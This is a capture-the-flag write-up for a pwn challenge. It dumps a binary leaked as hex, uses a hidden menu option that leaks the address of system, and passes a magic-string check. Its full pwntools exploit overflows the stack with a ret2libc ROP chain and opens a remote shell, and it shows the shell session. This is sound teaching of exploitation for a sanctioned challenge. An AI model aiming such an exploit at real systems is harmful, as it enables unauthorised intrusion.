Adventure time! Find the magic bytes, kill the wizard, get all the flags!

Pwn - 100 Points

This was a very fun challenge, too bad it was only worth 100 points :). The organizer provided the libc and a README containing this: Yep you only get the libc, connect to the service and go for an adventure to get the rest.

You can find the provided archive here. The remote server was port 6666.

Great! Let’s the fun start.

First of all we have to get the binary from the remote server. When we connect to it we find ourselves in front of this menu:

The Puzzle Palace
1) Go on an adventure to find the magic bytes!
2) Fight the evil wizard with the magic bytes!
3) Return home with shame


If we type 1 we get:

You enter the Puzzle Palace!
A message glows brightly on the wall of this room [7F454C4602010100000000000000000003003E0001000000100A000000000000400000000000000038210000000000000000000040003800090040001B001A00]
Where to now adventurer?
1) Up
2) Down


We see 454C46, which is the hex of ELF. That’s probably the start of the binary. To get more of it we just have to type 2 in the prompt and it will continue playing bytes until EOF. I used this script to dump the whole thing:

from pwn import *
s = remote("", 6666)
s.sendlineafter("#>", "1")
with open("bin", "w") as f:
    while True:
        data = s.recvuntil("#>")
        data = data.split("[")[1].split("]")[0]
        print data
        data = data.strip()
        data = [data[i:i+2] for i in xrange(0,  len(data), 2)]
        for x in data:
            f.write(chr(int(x, 16)))

Yes, there is no check for EOF but the script crashes when it reached EOF so it’s good enough :). You can find the dumped binary here.

Let’s see what the dumped binary is:

$ file challenge
challenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, BuildID[sha1]=7c3b19746df3ef56476d19ce0f657e14c0eb19cb, stripped
$ checksec challenge 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Nasty… well let’s see how it works.

We know 1 of the initial menu, which is the leak of the binary, nothing much else there. 3 just quits the program. There’s an hidden menu item if you press Z:

if ( menu_entry == 'Z' )
  printf("Woah, nice! You found the hidden 'system' libc address:%p!\n", &system);

It leaks the address of system! Handy! Let’s remember it for later.

Let’s now focus on 2.

Hope you got those magic bytes ready!
The wizard points at you and starts yelling 'lightning bolt!'
This would be a good time use those magic bytes: 

This is what we see when we press 2 in the main menu prompt. Let’s see what it does after that:

if ( strncmp("1337p0werOverWhelMing1337", s2, 25uLL) )
  puts("You utter the magic bytes but they are wrong and the evil wizard burns you to a crisp, GG!");
printf("Nice! Pwn the wizard with some ROP and ROLL now!: ");
return read(0, &buf, 0x1337uLL);


  • read_s2 just zeroes s2 and writes 256 bytes read from stdin to it
  • If s2 is not 1337p0werOverWhelMing1337 the program exits
  • It reads 0x1337 bytes of data (that is 4919 bytes) and saves it in buf, which is just a pointer on the stack. Ok, we can write stuff… a lot of it :)

If you remember, the binary has NX enabled, so no shellcode on the stack. It doesn’t have a stack canary, which makes things easier in this case. So we just have to control RIP and create a ROP chain to execute our shell.

This is the final exploit:

from pwn import *

s = remote("", 6666)
#s = process("./bin")
libc = ELF("")

s.sendlineafter("#>", "Z")
data = s.recvuntil("#>")

system_address = int(data.split(":")[1].split("!")[0], 16)
sh_address = system_address - 210208
libc_base = system_address - 283536
pop_rdi = libc_base + 0x21102

ropchain = ""
ropchain = "A" * 8 * 5
ropchain += p64(pop_rdi)
ropchain += p64(sh_address)
ropchain += p64(system_address)"system: {:x}".format(system_address))"libc: {:x}".format(libc_base))"sh: {:x}".format(sh_address))

s.sendlineafter(":", "1337p0werOverWhelMing1337")
s.sendlineafter(":", ropchain)

We create a simple ROP chain that pops the address that points to sh in rdi and then we call system. Pretty straightforward.

  • We first leak system’s address, and since the organizer provided libc we can easily calculate the address of sh and the location of a pop rdi gadget.
  • We then prepare the payload that contains:
    • 40 bytes of padding to get to RIP (found via gdb)
    • the address of pop rdi that will overwrite RIP
    • the address of sh that will be put in rdi
    • the address of system that will run what’s in rdi

Of course, we have to pass the string 1337p0werOverWhelMing1337 first. And we get our shell:

$ python 
[+] Opening connection to on port 6666: Done
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] system: 7febe305e390
[*] libc: 7febe3019000
[*] sh: 7febe302ae70
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ cat flag

Happy hacking!